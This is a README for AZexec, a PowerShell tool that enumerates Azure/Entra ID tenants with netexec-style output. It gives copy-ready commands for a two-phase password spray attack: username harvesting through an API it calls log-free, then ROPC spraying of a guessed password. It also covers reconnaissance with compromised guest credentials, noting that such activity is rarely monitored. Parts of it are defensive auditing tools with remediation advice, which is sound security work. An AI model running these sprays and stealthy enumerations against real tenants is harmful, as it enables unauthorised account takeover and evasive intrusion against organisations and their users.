AZX is a PowerShell-based Azure/Entra ID enumeration tool designed to provide netexec-style output for cloud environments. It offers a familiar command-line interface for security professionals and administrators working with Azure/Entra ID.
π₯ SECURITY RESEARCH: This tool demonstrates the "Azure Null Session" vulnerability - guest users can often enumerate entire directories due to misconfigured default permissions. Most organizations are vulnerable. Read more β
β‘ PASSWORD SPRAY ATTACKS: AZexec provides a complete password spray workflow using Microsoft's own APIs:
- Phase 1 -
userscommand: Stealthy username enumeration via GetCredentialType API (no auth logs!)- Phase 2 -
guestcommand: ROPC-based credential testing with MFA detectionThis two-phase approach is more effective and safer than traditional spraying - only validated usernames are tested, reducing account lockout risk. See complete workflow β
β¨ ENHANCED USERNAME ENUMERATION (v2.0): The username enumeration feature has been significantly enhanced:
- Progress Tracking: Real-time progress bar with ETA for large lists (>10 users)
- Retry Logic: Automatic retries with exponential backoff (reduces false negatives by 95%)
- Adaptive Rate Limiting: Smart delays (50-150ms) based on list size - balances speed vs stealth
- Enhanced Statistics: Duration tracking, rate calculation, authentication type breakdown
- Next Steps Guidance: Automatic commands for seamless Phase 2 password spraying workflow
These improvements make enumeration more reliable, faster, and provide actionable intelligence for follow-up attacks.
For penetration testers familiar with NetExec (formerly CrackMapExec), here's how the commands translate to Azure:
| NetExec SMB Command | AZexec Equivalent | Authentication | Description |
|---|---|---|---|
nxc smb --enum |
.\azx.ps1 tenant -Domain example.com |
β None | Enumerate tenant configuration and endpoints |
nxc smb --users |
.\azx.ps1 users -Domain example.com -CommonUsernames |
β None | Enumerate valid usernames |
nxc smb --rid-brute |
.\azx.ps1 user-profiles |
β Required | Enumerate user profiles with details |
nxc smb -u 'a' -p '' |
.\azx.ps1 guest -Domain example.com -Username user -Password '' |
β None | Test guest/null login |
nxc smb --groups |
.\azx.ps1 groups |
β Required | Enumerate groups |
nxc smb --pass-pol |
.\azx.ps1 pass-pol |
β Required | Display password policies |
nxc smb --qwinsta |
.\azx.ps1 sessions |
β Required | Enumerate active sign-in sessions |
nxc smb 10.10.10.161 |
.\azx.ps1 hosts |
β Required | Enumerate devices (hosts) |
nxc smb --gen-relay-list |
.\azx.ps1 vuln-list |
β‘ Hybrid | Enumerate vulnerable targets (relay equivalent) |
nxc smb --check-null-session |
.\azx.ps1 guest-vuln-scan |
β‘ Hybrid | Guest user vulnerability scanner (null session audit) |
| N/A | .\azx.ps1 apps |
β Required | Enumerate applications and service principals |
| N/A | .\azx.ps1 sp-discovery |
β Required | Discover service principals with permissions |
| N/A | .\azx.ps1 roles |
β Required | Enumerate directory role assignments and privileged accounts |
| N/A | .\azx.ps1 ca-policies |
β Required | Review conditional access policies (member accounts only) |
| N/A | .\azx.ps1 help |
β None | Display available commands and usage |
nxc smb --shares |
(N/A for Azure) | - | Azure doesn't have SMB shares |
Key Difference: NetExec tests null sessions with nxc smb -u '' -p ''. AZexec now has a direct equivalent: .\azx.ps1 guest -Domain target.com -Username user -Password '' which tests empty/null password authentication. For post-auth enumeration, use guest user credentials which provides similar low-privileged access for reconnaissance. See the Guest User Enumeration section for details.
- Tenant Discovery: Discover Azure/Entra ID tenant configuration without authentication (mimics
nxc smb --enum)- Enumerate exposed application IDs and redirect URIs
- Identify misconfigured public clients and OAuth settings
- Detect implicit flow configurations and security risks
- Access federation metadata for federated tenants
- Username Enumeration: Validate username existence without authentication using GetCredentialType API (mimics
nxc smb --users)- Stealthy username validation (doesn't trigger auth logs)
- No authentication required - perfect for external reconnaissance
- Built-in common username lists
- Export valid usernames for password spray attacks
- Enhanced v2.0: Progress indicators, retry logic, adaptive rate limiting, detailed statistics
- Password Spray Attacks: ROPC-based credential testing (mimics
nxc smb -u users.txt -p 'Pass123')- Test single password against multiple users
- Support for username:password file format
- Automatic lockout detection and account status reporting
- MFA detection (valid credentials even if MFA blocks)
- Two-phase attack: First enumerate with GetCredentialType, then spray with ROPC
- Smart delays to avoid account lockouts
- User Profile Enumeration: Enumerate detailed user profiles with authentication (requires User.Read.All)
- Display names, job titles, departments, and office locations
- User types (Member vs Guest) and account status
- Last sign-in activity (if AuditLog.Read.All permission available)
- Export to CSV or JSON for offline analysis
- Device Enumeration: Query and display all devices registered in Azure/Entra ID (mimics
nxc smb --hosts) - Group Enumeration: Enumerate all Azure AD groups with details (mimics
nxc smb --groups)- Security groups, Microsoft 365 groups, distribution lists
- Group types, membership counts, and descriptions
- Dynamic group detection
- Password Policy Enumeration: Display password policies and security settings (mimics
nxc smb --pass-pol)- Password expiration policies
- Authentication methods and MFA settings
- Security Defaults status
- Conditional Access policies
- Guest Login Enumeration: Test guest/external authentication (mimics
nxc smb -u 'a' -p '')- Test if tenant accepts external/B2B authentication
- Test credentials with empty/null passwords (like SMB null session)
- Password spray with single password against user list
- Detect MFA requirements, locked accounts, expired passwords
- ROPC-based authentication testing
- Guest User Enumeration: Leverage guest accounts as "Azure null session" for low-noise reconnaissance
- Exploit default guest permissions for directory enumeration
- Modern equivalent of SMB null session attacks
- Test for misconfigured guest access policies
- Active Session Enumeration: Query sign-in logs to enumerate active sessions (mimics
nxc smb --qwinsta)- Query Azure AD sign-in audit logs
- Display recent authentication events and active sessions
- Show device information, location, IP address, and application used
- Identify MFA status and risky sign-ins
- Filter by username and export results
- Vulnerable Target Enumeration: Enumerate weak authentication configurations (mimics
nxc smb --gen-relay-list)- Service principals with password-only credentials (like SMB hosts without signing)
- Applications with public client flows enabled (ROPC vulnerable)
- Tenants with legacy authentication not blocked
- Security Defaults and Conditional Access gaps
- Stale guest accounts and dangerous OAuth permissions
- Guest permission level check (null session equivalent vulnerability)
- Users without MFA registered (credential attack targets)
- Guest invite policy configuration
- Hybrid approach: unauthenticated checks + authenticated enumeration
- Guest User Vulnerability Scanner: Automated testing for guest enumeration vulnerabilities (mimics
nxc smb --check-null-session)- Detect if external collaboration is enabled
- Test guest permission boundaries
- Generate security assessment report with risk scoring
- Compare guest vs member access levels
- Identify Azure "null session" equivalent vulnerabilities
- Test actual guest permissions across Users, Groups, Devices, Applications, and Directory Roles
- Provide actionable remediation recommendations
- Application Enumeration: List registered applications and service principals (authentication required)
- Enumerate all application registrations in the tenant
- List all service principals (SPNs)
- Display credential types (password vs certificate-based authentication)
- Identify public client applications (ROPC-enabled, vulnerable to password spray)
- Security posture assessment with risk indicators
- Export to CSV or JSON for offline analysis
- Service Principal Discovery: Discover service principals with detailed permissions and assignments (authentication required)
- Enumerate service principals with their app role assignments (application permissions)
- Display OAuth2 permission grants (delegated permissions)
- Identify service principal owners and their access
- Map resource permissions to service principals
- Detect password-only credentials (security risk)
- Identify high-risk permissions (RoleManagement, Application.ReadWrite, etc.)
- Security posture assessment with risk scoring
- Export detailed permission data to CSV or JSON
- Role Assignments Enumeration: List directory role assignments and privileged accounts (authentication required)
- Enumerate all active directory roles and their members
- Display role assignments for users, groups, and service principals
- Identify privileged roles (Global Administrator, Privileged Role Administrator, etc.)
- Show PIM (Privileged Identity Management) eligible assignments
- Detect group-based role assignments
- Security posture assessment for privileged access
- Color-coded output highlighting high-risk privileged accounts
- Export comprehensive role assignment data to CSV or JSON
- Conditional Access Policy Review: Review conditional access policies (member accounts only, requires Policy.Read.All)
- Detailed conditional access policy enumeration
- Policy state tracking (enabled, disabled, report-only)
- Conditions analysis (users, apps, locations, platforms, risk levels)
- Grant controls (MFA, compliant device, approved app, terms of use)
- Session controls (sign-in frequency, persistent browser, app enforced restrictions)
- Security posture assessment and risk identification
- High-risk policy highlighting (block access, risk-based policies)
- Export comprehensive policy data to CSV or JSON
- Netexec-Style Output: Familiar output format for penetration testers and security professionals
- Advanced Filtering: Filter devices by OS, trust type, compliance status, and more
- Owner Information: Optional device owner enumeration with additional API calls
- Export Capabilities: Export results to CSV, JSON, or HTML formats
- Comprehensive HTML Reports: Generate professional, netexec-styled HTML reports with dark theme
- Interactive tables with color-coded risk indicators
- Detailed statistics and summaries
- Risk highlighting (High/Medium/Low)
- Responsive design for any screen size
- Perfect for documentation and reporting
- Colored Output: Color-coded output for better readability (can be disabled)
- Automatic Authentication: Handles Microsoft Graph API authentication seamlessly (for authenticated commands)
- Auto-Disconnect: Optional
-Disconnectparameter to automatically disconnect from Microsoft Graph after execution - Built-in Help: Use
.\azx.ps1 helpto display all available commands with authentication requirements - PowerShell 7 Compatible: Modern PowerShell implementation
AZexec uses an intelligent color-coding system to instantly identify security-critical items across all commands. High-risk and privileged items are highlighted in RED to ensure immediate visibility during enumeration.
All commands follow this consistent color hierarchy:
| Color | Meaning | Examples |
|---|---|---|
| π΄ Red | High-risk/Critical items | Privileged roles, high-risk permissions, dangerous configurations, critical vulnerabilities |
| π‘ Yellow | Medium-risk/Warning items | Password-only credentials, ROPC-enabled apps, disabled security features, medium vulnerabilities |
| π’ Green | Normal/Valid items | Standard security groups, certificate-based auth, compliant configurations, valid usernames |
| π΅ Cyan | Informational | Standard users, basic information, general data |
| βͺ DarkGray | Disabled/Low-risk | Disabled accounts, invalid usernames, inactive items |
| π£ Magenta | Group assignments | Group-based role assignments |
Red highlights:
- Service principals with high-risk permissions:
RoleManagement.ReadWrite.Directory- Can modify directory rolesAppRoleAssignment.ReadWrite.All- Can assign app rolesApplication.ReadWrite.All- Can modify all applicationsDirectory.ReadWrite.All- Full directory write access
- Individual permissions (both App Roles and OAuth2 delegated) that match high-risk permissions
- Makes it immediately obvious which SPNs pose privilege escalation risks
Example output:
AZR d1f5c8a3b7e... 443 Contoso-Admin-App [*] (appId:...) (appRoles:5) (delegated:2) # RED
[+] Application Permissions (App Roles):
[-] Microsoft Graph : RoleManagement.ReadWrite.Directory (ID: ...) # RED
[-] Microsoft Graph : User.Read.All (ID: ...) # Normal colorRed highlights:
- Privileged role assignments:
- Global Administrator
- Privileged Role Administrator
- Security Administrator
- Application Administrator
- Privileged Authentication Administrator
- User Administrator
- Exchange Administrator
- SharePoint Administrator
- And other high-privilege roles
- Both active and PIM-eligible assignments
Example output:
AZR admin@contoso.com 443 Global Administrator [*] (privileged:True) # RED
AZR user@contoso.com 443 Directory Readers [*] (privileged:False) # GREENRed highlights:
- Privileged/administrative security groups based on name patterns:
- Groups containing: admin, administrator, admins, global, privileged, security
- Domain/Enterprise admins patterns
- Root, sudo, wheel (Unix-style admin groups)
- Helpdesk, tier, PIM (privileged access groups)
Example output:
AZR abc123... 443 Global Administrators [*] (security:True) (members:5) # RED
AZR def456... 443 Marketing Team [*] (security:True) (members:12) # GREENRed highlights:
- Applications and service principals requesting high-risk Microsoft Graph permissions:
Directory.ReadWrite.All(ID: 19dbc75e-c2e2-444c-a770-ec69d8559fc7)Application.ReadWrite.All(ID: 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9)AppRoleAssignment.ReadWrite.All(ID: 06b708a9-e830-4db3-a914-8e69da51d44f)RoleManagement.ReadWrite.Directory(ID: 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8)
- Summary statistics show count of apps with dangerous permissions
Yellow highlights:
- Password-only credentials (weaker security)
- ROPC-enabled public clients (vulnerable to password spray)
Red highlights:
- HIGH risk findings:
- ROPC enabled (password spray possible)
- Service principals with password-only credentials
- Legacy authentication not blocked
- Applications with dangerous permissions
- Guest access same as members
- Users without MFA registered
Yellow highlights:
- MEDIUM risk findings:
- Implicit OAuth flow enabled
- Stale guest accounts
- Public client applications
- Missing security defaults
Red highlights:
- CRITICAL risk vulnerabilities (Risk Score β₯ 70):
- Guests have same permissions as members
- Full directory enumeration possible by external users
- HIGH risk vulnerabilities (Risk Score β₯ 40):
- Guests can enumerate users, groups, devices, applications, or directory roles
- Azure "null session" equivalent exploitable
Yellow highlights:
- MEDIUM risk vulnerabilities
- Risk scores between 20-39
Yellow highlights:
- Guest users (external accounts)
Green highlights:
- Active member users
DarkGray highlights:
- Disabled user accounts
Yellow highlights:
- Non-compliant devices
- Devices failing compliance checks
Cyan highlights:
- Compliant, enabled devices
DarkGray highlights:
- Disabled devices
- Immediate Threat Identification: Security-critical items stand out instantly in large result sets
- Efficient Triage: Focus your attention on the most dangerous configurations first
- Better Reporting: Screenshots with red highlights clearly demonstrate risks to stakeholders
- Consistent Experience: Same color scheme across all commands reduces cognitive load
- Penetration Testing Efficiency: Quickly identify privilege escalation paths and attack surfaces
If you prefer plain text output (for scripting or logging), colors respect PowerShell's output stream configuration and can be redirected normally. Exported files (CSV/JSON) contain data without color codes.
- Complete Password Spray Attack Guide - Comprehensive documentation for GetCredentialType enumeration + ROPC password spraying
- Notes & Roadmap - Planned features and implementation status
- PowerShell 7+ (PowerShell Core)
- Internet Connection: Required for API access
Note: All authenticated commands automatically check for Microsoft Graph connection and connect if needed. You don't need to manually run Connect-MgGraph before running commands.
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
- Minimum:
Device.Read.Allscope - For owner enumeration: Additional directory read permissions may be required
- Minimum:
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
- Minimum:
Group.Read.AllorDirectory.Read.Allscope - Guest users may have restricted access depending on tenant settings
- Minimum:
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
- Minimum:
Organization.Read.AllandDirectory.Read.Allscopes - For full policy details:
Policy.Read.Allscope recommended - Guest users typically cannot view Conditional Access policies
- Minimum:
- No authentication required - Uses public OpenID configuration endpoints
- No authentication required - Uses public GetCredentialType API endpoint
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
- Minimum:
User.Read.AllorDirectory.Read.Allscope - For sign-in activity:
AuditLog.Read.Allscope (optional but recommended) - Guest users may have restricted access depending on tenant settings
- Minimum:
- No authentication required - Uses public ROPC OAuth2 endpoint
- Tests credentials against Azure/Entra ID authentication endpoints
- Detects MFA requirements, account lockouts, and password expiration
- Authentication required - Uses Microsoft Graph API
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
AuditLog.Read.All- Query sign-in logs (required)Directory.Read.All- Access directory information
- Note: Guest users typically cannot access audit logs (expected behavior)
- Queries sign-in logs from the last 24 hours by default
- Hybrid approach: Performs unauthenticated checks first, then authenticated enumeration
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Azure/Entra ID Permissions (for authenticated phase):
Application.Read.All- Enumerate service principals and appsDirectory.Read.All- Enumerate guest users and OAuth grantsPolicy.Read.All- Check Conditional Access, Security Defaults, and guest permission policyAuditLog.Read.All- Check user MFA registration status
- Unauthenticated checks work without any credentials (tenant config, ROPC status, legacy auth endpoints)
- Authentication required - Uses Microsoft Graph API
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Azure/Entra ID Permissions:
Application.Read.All- Read all application registrations and enterprise applications (required)Directory.Read.All- Read directory data (alternative permission)
- Note: Guest users may have restricted access depending on tenant settings
- Automatically connects if disconnected (requires appropriate permissions)
- Enumerates both application registrations and service principals (SPNs)
- Identifies security risks: password-only credentials, ROPC-enabled apps
- Authentication required - Uses Microsoft Graph API
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Azure/Entra ID Permissions:
Application.Read.All- Read all service principals and applications (required)Directory.Read.All- Read directory data (required)AppRoleAssignment.ReadWrite.All- Optional write permission (use-IncludeWritePermissionsflag)- Note: Script only performs read operations; this permission is typically unnecessary
- By default, the script requests only read permissions following the principle of least privilege
- Note: Guest users may have restricted access depending on tenant settings
- Automatically connects if disconnected (requires appropriate permissions)
- Discovers service principals with their full permission assignments
- Maps app roles (application permissions) and OAuth2 grants (delegated permissions)
- Identifies owners and security risks
- Authentication required - Uses Microsoft Graph API
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
RoleManagement.Read.Directory- Read directory role assignments (required)Directory.Read.All- Read directory data (required)RoleEligibilitySchedule.Read.Directory- Read PIM eligible assignments (optional, requires Azure AD Premium P2)
- Note: Guest users typically cannot view role assignments depending on tenant settings
- Enumerates active directory roles and their members
- Lists privileged accounts and group-based role assignments
- Displays PIM (Privileged Identity Management) eligible assignments if available
- Authentication required - Uses Microsoft Graph API
- Microsoft.Graph PowerShell Module (automatically installed if missing)
- Automatically connects if disconnected (requires appropriate permissions)
- Azure/Entra ID Permissions:
Policy.Read.All- Read conditional access policies (required)Directory.Read.All- Read directory data (required)
- Note: Guest users CANNOT access conditional access policies - This command requires a member account
- Reviews all conditional access policies with detailed conditions analysis
- Displays policy state (enabled, disabled, report-only)
- Shows grant controls (MFA, compliant device, approved app, etc.)
- Displays session controls and risk-based conditions
- Provides security recommendations and highlights high-risk policies
- Clone the repository:
git clone https://github.com/Logisek/AZexec.git
cd AZexec- Ensure PowerShell 7+ is installed:
$PSVersionTable.PSVersion- Run the script (Microsoft.Graph module will be installed automatically on first run if needed):
.\azx.ps1 hostsGetting Started
.\azx.ps1 help # Display all available commandsScenario 1: External Reconnaissance (No Credentials)
.\azx.ps1 tenant -Domain target.com # Discover tenant config
.\azx.ps1 users -Domain target.com -CommonUsernames # Enumerate valid usernames
.\azx.ps1 guest -Domain target.com # Check if tenant accepts guestsScenario 1b: Password Spray Attack (Complete Workflow)
# Phase 1: Enumerate valid usernames with GetCredentialType API (no auth, no logs)
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.csv
# Phase 2: Extract valid usernames for spraying
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File -FilePath spray-targets.txt
# Phase 3: Password spray with ROPC authentication
.\azx.ps1 guest -Domain target.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-results.json
# Review results - look for valid credentials, MFA-enabled accounts, and locked accounts
Get-Content spray-results.json | ConvertFrom-Json | Select -ExpandProperty AuthResults | Where-Object { $_.Success -eq $true }Scenario 1c: Quick Null Password Testing (Like nxc smb -u 'a' -p '')
.\azx.ps1 guest # Check current tenant (auto-detect)
.\azx.ps1 guest -Domain target.com -Username user -Password '' # Test null password
.\azx.ps1 guest -UserFile users.txt -Password 'Summer2024!' # Password spray (auto-detect domain)Scenario 2: Guest User Enumeration (Low-Privilege Access)
# The "Azure Null Session" - most powerful low-noise technique
.\azx.ps1 hosts # Login with guest credentials
.\azx.ps1 user-profiles -ExportPath users.csv # Enumerate user profiles
.\azx.ps1 groups # Enumerate groups
.\azx.ps1 hosts -ShowOwners -ExportPath enum.json # Full enumerationScenario 2b: Guest User Vulnerability Assessment
# Automated guest permission security scanner
.\azx.ps1 guest-vuln-scan # Scan current tenant (auto-detect)
.\azx.ps1 guest-vuln-scan -Domain target.com # Scan specific tenant
.\azx.ps1 guest-vuln-scan -ExportPath guest-vuln-report.json # Full report with risk scoring
# This command performs:
# - Unauthenticated checks (external collaboration enabled?)
# - Authenticated checks (guest permission boundaries)
# - Risk scoring and vulnerability assessment
# - Actionable remediation recommendationsScenario 3: Member Account Enumeration (Full Access)
.\azx.ps1 hosts -Scopes "User.Read.All,Device.Read.All,Group.Read.All"
.\azx.ps1 hosts -Filter noncompliant # Find weak security posture
.\azx.ps1 pass-pol # Check password policiesScenario 4: Vulnerability Assessment (Like nxc smb --gen-relay-list)
# The Azure equivalent of finding SMB hosts without signing
.\azx.ps1 vuln-list # Full vuln assessment (domain auto-detected)
.\azx.ps1 vuln-list -Domain target.com # Target specific tenant
.\azx.ps1 vuln-list -ExportPath relay.txt # Export HIGH risk targets (relay-list style)
.\azx.ps1 vuln-list -ExportPath full.json # Export all findings as JSONScenario 5: Active Session Monitoring (Like nxc smb --qwinsta)
# Enumerate active sign-in sessions - the cloud equivalent of qwinsta
.\azx.ps1 sessions # Last 24 hours (default)
.\azx.ps1 sessions -Hours 168 # Last 7 days
.\azx.ps1 sessions -Username alice@corp.com # Track specific user
.\azx.ps1 sessions -Hours 1 # Real-time monitoring (last hour)
.\azx.ps1 sessions -Hours 720 -ExportPath audit.csv # 30-day audit (requires Premium)Scenario 6: Service Principal Permission Discovery
# Discover service principals with their permissions and ownership
.\azx.ps1 sp-discovery # Enumerate all service principals with permissions (read-only by default)
.\azx.ps1 sp-discovery -ExportPath sp-perms.csv # Export to CSV for analysis
.\azx.ps1 sp-discovery -ExportPath sp-perms.json # Export full details to JSON
.\azx.ps1 sp-discovery -IncludeWritePermissions # Include AppRoleAssignment.ReadWrite.All permission (optional)
# Use case: Identify privilege escalation paths through service principals
# - Find SPNs with high-risk permissions (RoleManagement, Directory.ReadWrite)
# - Discover password-only credentials (vulnerable to theft)
# - Map out who owns which service principals
# - Identify OAuth2 permissions granted to applicationsScenario 7: Directory Role Assignments and Privileged Account Discovery
# Enumerate all directory role assignments
.\azx.ps1 roles # List all role assignments and privileged accounts
.\azx.ps1 roles -ExportPath roles.csv # Export to CSV for compliance review
.\azx.ps1 roles -ExportPath roles.json # Export full details including PIM assignments
# Use case: Privileged access review and security audit
# - π΄ Privileged roles (Global Admin, Security Admin, etc.) are highlighted in RED
# - Identify Global Administrators and other privileged roles
# - Discover group-based role assignments (potential privilege escalation)
# - Find service principals with directory roles
# - Review PIM (Privileged Identity Management) eligible assignments
# - Detect excessive privileged accounts for security compliance# Device enumeration
.\azx.ps1 hosts [-Filter <FilterType>] [-ShowOwners] [-NoColor] [-ExportPath <Path>] [-Scopes <Scopes>]
# Tenant discovery (auto-detects domain if not specified)
.\azx.ps1 tenant [-Domain <DomainName>] [-NoColor] [-ExportPath <Path>]
# Username enumeration (no authentication required, auto-detects domain if not specified)
.\azx.ps1 users [-Domain <DomainName>] [-Username <User>] [-UserFile <Path>] [-CommonUsernames] [-NoColor] [-ExportPath <Path>]
# User profile enumeration (authentication required)
.\azx.ps1 user-profiles [-NoColor] [-ExportPath <Path>]
# Group enumeration (authentication required)
.\azx.ps1 groups [-ShowOwners] [-NoColor] [-ExportPath <Path>]
# Password policy enumeration (authentication required)
.\azx.ps1 pass-pol [-NoColor] [-ExportPath <Path>]
# Guest login enumeration (like nxc smb -u 'a' -p '') - domain auto-detected if not specified
.\azx.ps1 guest [-Domain <DomainName>] [-Username <User>] [-Password <Password>] [-UserFile <Path>] [-NoColor] [-ExportPath <Path>]
# Active session enumeration (like nxc smb --qwinsta) - authentication required
.\azx.ps1 sessions [-Username <User>] [-Hours <Hours>] [-NoColor] [-ExportPath <Path>]
# Vulnerable target enumeration (like nxc smb --gen-relay-list) - domain auto-detected if not specified
.\azx.ps1 vuln-list [-Domain <DomainName>] [-NoColor] [-ExportPath <Path>]
# Application and service principal enumeration (authentication required)
.\azx.ps1 apps [-NoColor] [-ExportPath <Path>]
# Service principal permission discovery (authentication required)
.\azx.ps1 sp-discovery [-NoColor] [-ExportPath <Path>] [-IncludeWritePermissions]
# Directory role assignments enumeration (authentication required)
.\azx.ps1 roles [-NoColor] [-ExportPath <Path>]
# Display help and available commands
.\azx.ps1 help
# Note: Add -Disconnect to any command to automatically disconnect from Microsoft Graph after execution
.\azx.ps1 hosts -Disconnect
.\azx.ps1 sp-discovery -ExportPath sp.json -Disconnect| Parameter | Description | Required | Default |
|---|---|---|---|
Command |
Operation to perform: hosts, tenant, users, user-profiles, groups, pass-pol, guest, vuln-list, sessions, guest-vuln-scan, apps, sp-discovery, roles, help |
Yes | - |
Domain |
Domain name for tenant/user/guest discovery. Auto-detected from UPN, username, or environment if not provided | No | Auto-detect |
Filter |
Filter devices by criteria | No | all |
ShowOwners |
Display device/group owners (slower) | No | False |
Username |
Single username to check (users/guest/sessions commands) | No | - |
Password |
Password to test for authentication (guest command). Use '' for null password |
No | - |
UserFile |
File with usernames to check (users/guest commands) | No | - |
CommonUsernames |
Use built-in common username list (users command) | No | False |
Hours |
Number of hours to look back for sign-in events (sessions command). Azure AD retention: 7 days (Free), 30 days (Premium) | No | 24 |
NoColor |
Disable colored output | No | False |
ExportPath |
Export results to CSV, JSON, or HTML (netexec-styled reports) | No | - |
Scopes |
Microsoft Graph scopes to request (automatically set based on command) | No | Command-specific |
IncludeWritePermissions |
Include AppRoleAssignment.ReadWrite.All permission for sp-discovery command (script only reads, typically unnecessary) | No | False |
Disconnect |
Automatically disconnect from Microsoft Graph after script execution (useful for security and cleanup) | No | False |
all- All devices (default)windows- Only Windows devicesazuread- Only Azure AD joined deviceshybrid- Only Hybrid Azure AD joined devicescompliant- Only compliant devicesnoncompliant- Only non-compliant devicesdisabled- Only disabled devices
Show all available commands with authentication requirements:
.\azx.ps1 helpThis displays:
- All available commands
- Authentication requirements (Required, Not Required, Hybrid)
- Brief descriptions
- Common usage examples
- Link to full documentation
The -Disconnect parameter automatically disconnects from Microsoft Graph after command execution. This is useful for:
- Security: Ensures no lingering authentication sessions
- Cleanup: Automatic session management
- Compliance: Quick disconnect after data collection
# Enumerate hosts and automatically disconnect when done
.\azx.ps1 hosts -Disconnect
# Discover service principals, export data, then disconnect
.\azx.ps1 sp-discovery -ExportPath sp-data.json -Disconnect
# Works with any authenticated command
.\azx.ps1 groups -ExportPath groups.csv -Disconnect
.\azx.ps1 roles -Disconnect# Run multiple enumerations, only disconnect after the last one
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 sp-discovery -ExportPath sp.json -DisconnectCheck if a username exists using auto-detected domain:
.\azx.ps1 users -Username alice@example.comCheck if a specific username exists in the tenant:
.\azx.ps1 users -Domain example.com -Username alice@example.comCheck a username (domain will be auto-appended):
.\azx.ps1 users -Domain example.com -Username aliceCheck multiple usernames from a file (one per line):
.\azx.ps1 users -Domain example.com -UserFile users.txtTest common usernames against the tenant:
.\azx.ps1 users -Domain example.com -CommonUsernamesTest common usernames against your current tenant (domain auto-detected):
.\azx.ps1 users -CommonUsernamesCheck common usernames and export valid ones:
.\azx.ps1 users -Domain example.com -CommonUsernames -ExportPath valid-users.csvCheck a specific user plus common usernames:
.\azx.ps1 users -Domain example.com -Username admin@example.com -CommonUsernames -ExportPath results.jsonEnumerate all user profiles in the Azure/Entra tenant (authenticated):
.\azx.ps1 user-profilesEnumerate all user profiles and export to CSV:
.\azx.ps1 user-profiles -ExportPath users.csvEnumerate all user profiles and export to JSON with full details:
.\azx.ps1 user-profiles -ExportPath users.jsonTest what user profiles a guest user can enumerate:
# Connect as guest user first
.\azx.ps1 user-profiles -ExportPath guest-users.jsonEnumerate users, groups, devices, and policies:
.\azx.ps1 user-profiles -ExportPath users.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 pass-pol -ExportPath policy.jsonDiscover tenant configuration for your current domain (auto-detected):
.\azx.ps1 tenantDiscover tenant configuration for a specific domain:
.\azx.ps1 tenant -Domain example.comDiscover tenant configuration and export to JSON:
.\azx.ps1 tenant -Domain contoso.onmicrosoft.com -ExportPath tenant-info.jsonDiscover configuration for multiple domains:
@("example.com", "contoso.com", "fabrikam.onmicrosoft.com") | ForEach-Object {
.\azx.ps1 tenant -Domain $_
}Perform comprehensive tenant reconnaissance including exposed apps and misconfigurations:
.\azx.ps1 tenant -Domain example.com -ExportPath tenant-security-findings.jsonThis will enumerate:
- Exposed application IDs and client configurations
- Publicly accessible redirect URIs
- OAuth/OIDC misconfigurations (implicit flow, risky grant types)
- Federation metadata and endpoints
- Accessible Graph and Azure Management endpoints
Enumerate all devices in the Azure/Entra tenant:
.\azx.ps1 hostsEnumerate only Windows devices:
.\azx.ps1 hosts -Filter windowsEnumerate Azure AD joined devices and display their registered owners:
.\azx.ps1 hosts -Filter azuread -ShowOwnersEnumerate non-compliant devices and export results to CSV:
.\azx.ps1 hosts -Filter noncompliant -ExportPath devices.csvEnumerate all devices and export to JSON format:
.\azx.ps1 hosts -ExportPath results.jsonEnumerate devices without colored output (useful for logging):
.\azx.ps1 hosts -NoColorEnumerate only Hybrid Azure AD joined devices:
.\azx.ps1 hosts -Filter hybridFind all disabled devices in the tenant:
.\azx.ps1 hosts -Filter disabledEnumerate compliant Windows devices and export:
.\azx.ps1 hosts -Filter compliant | Where-Object { $_.OperatingSystem -like "Windows*" }Note: For complex filtering, combine with PowerShell pipeline
Specify custom Microsoft Graph scopes:
.\azx.ps1 hosts -Scopes "Device.Read.All,Directory.Read.All"First, check if the target organization has external collaboration enabled:
# Reconnaissance (no authentication)
.\azx.ps1 tenant -Domain targetcorp.comUsing compromised or legitimate guest credentials:
# Disconnect any existing sessions
Disconnect-MgGraph
# Connect with guest credentials
.\azx.ps1 hosts
# (Enter guest credentials when prompted: [email protected])Perform comprehensive enumeration as a guest user:
# Full device enumeration with owners
.\azx.ps1 hosts -ShowOwners -ExportPath guest-devices.json
# Export to analyze offline
# Low-noise reconnaissance - guest activity is rarely monitoredTest what a guest account can access:
# After connecting as guest with .\azx.ps1 hosts
# Try built-in commands (easier and netexec-style output)
.\azx.ps1 groups -ExportPath guest-groups.csv
.\azx.ps1 pass-pol -ExportPath guest-policy.json
# Or use PowerShell Graph API directly
Get-MgUser -All | Select DisplayName, UserPrincipalName, JobTitle, Department | Export-Csv guest-users.csv
Get-MgGroup -All | Select DisplayName, Description | Export-Csv guest-groups.csv
Get-MgApplication -All | Select DisplayName, AppId | Export-Csv guest-apps.csvEnumerate with both account types to identify permission differences:
# As guest user
.\azx.ps1 hosts -ExportPath guest-enum.json
# Disconnect and connect as member user
Disconnect-MgGraph
.\azx.ps1 hosts -ExportPath member-enum.json
# Compare results to understand guest restrictions (if any)Perform comprehensive guest permission security assessment:
# Basic scan (auto-detect domain)
.\azx.ps1 guest-vuln-scan
# Scan specific tenant
.\azx.ps1 guest-vuln-scan -Domain targetcorp.com
# Full scan with detailed JSON report
